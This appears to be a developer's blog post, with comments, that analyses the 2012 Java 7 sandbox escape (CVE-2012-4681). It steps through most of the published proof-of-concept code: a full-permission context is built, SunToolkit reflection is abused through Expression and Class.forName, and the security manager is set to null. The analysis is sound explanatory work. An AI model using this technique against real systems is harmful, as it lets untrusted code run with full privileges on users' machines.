Java Facepalm

It’s been a while since I’ve blogged but I couldn’t resist with the latest Java vulnerability. I saw the proof of concept code posted by jduck last night (here) and thought this looks like normal Java code to me (I develop in Java at my day job). Well it turns out…this is normal Java code!

Updates

  • This has been assigned CVE-2012-4681.
  • Post Updated: I originally thought the vulnerability was due to the public nature of SunToolkit’s getField method. While this does help to exploit the vulnerability, it’s not actually the real problem. The problem lies in the Expression class (or it’s parent Statement) as you’re allowed to call Class.forName and load restricted packages.

Breaking It Down

Statement localStatement = 
   new Statement(System.class, "setSecurityManager", new Object[1]);

If you can disable the Java SecurityManager then you can disable any security checks and you have full control to run whatever code you would like on the JVM. If this code happens to be code running from an applet within a browser, you’re in trouble.

This is what the first statement is doing by setting the securityManager to null. But hold on, you can’t just call setSecurityManager without proper privileges. It’s not that easy!

What we need to do is we need to set the context within which setSecurityManager runs to be AllPermission.

Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = 
   new ProtectionDomain(new CodeSource(
   new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = 
   new AccessControlContext(new ProtectionDomain[] {
      localProtectionDomain
   });

The above code is preparing a full privileges context so we can disable the SecurityManger. Now, how are we going to set this context within the Statement object?

A beautiful disaster

SunToolkit provides a public method which happily executes a privileged operation and returns a reference to a a Field object. It also calls setAccessible(true) on the field which means it disables any ‘final’ or ‘private’ directives.

Since SunToolkit is part of sun.awt.* and packaged in rt.jar (Java Runtime Classes) it is able to execute this privileged method for us (all system code has full privileges).

We can use this to set the ‘acc’ (an AccessControlContext object) field within the Statement class to our full privileges object.

SetField(Statement.class, "acc", localStatement, localAccessControlContext);

The details of setField are were we see SunToolkit being abused

Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = 
   new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);

Line 4, 5, and 7 are important. Line 4 and 5 get a reference to sun.awt.SunToolkit. Normally you wouldn’t be able to do this. You’d get

access denied("java.lang.RuntimePermission" "accessClassInPackage.sun.awt")

But for some reason (still not clear to me), in Java 7 update 6, executing Class.forName as an Expression object gives you the correct privileges to get access to this class. The reason that Expression can can call Class.forName is that Java Security only checks the immediate caller (Statement) which in this case is privileged.

// Succeeds
Expression localExpression = 
   new Expression(Class.class, "forName", arrayOfObject);

Line 7 is the actual call to set the AllPermissions context. Now that we’ve setup the statement to execute with full privileges, all we need to do is execute it.

//recall localStatement.execute() = setSecurityManager(null)
localStatement.execute();

SecurityManager disabled (a null SecurityManager is a disabled SecurityManager).

6 Comments Java Facepalm

  1. Pingback: [Virus] Faille dans Java 7. - iGoldHouse - Le blogiGoldHouse – Le blog

  2. mihi

    If you try harder, you will notice that in Java 6 you cannot call any (public) method of the SunToolkit class since untrusted code may not access the sun.* packages. And even a Class.forName() in Java 7 cannot give you a reference to SunToolkit. Therefore, having methods in SunToolkit that are disastrous to security is not the main problem (search for public classes called SecuritySupport, they have interesting methods too, or sun.misc.Unsafe as well, but they “cannot” be called since you should not get a reference to them).

    The main problem (in my opinion) is that inside of the implementation of Statement the case of calling Class.forName is special cased in JDK7 – and in a way that will load even classes in restricted packages…

    In other words: The change of that method to public makes it easier to exploit this issue, but even without there are enough interesting methods within sun.* that can do stuff like that. Just that you need someone trusted who is stupid enough to hand you a reference to that class as you cannot get them yourself.

    Reply
    1. Dustin Schultz

      Post updated – indeed I had it wrong. Thanks Michael! Now just to figure out exactly why Expression (or it’s parent class Statement) is privy to execute Class.forName(“sun.awt.SunToolkit”) …

      Reply
  3. Pingback: Security News #0x1D: Javageddon- the Aftermath « CyberOperations

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>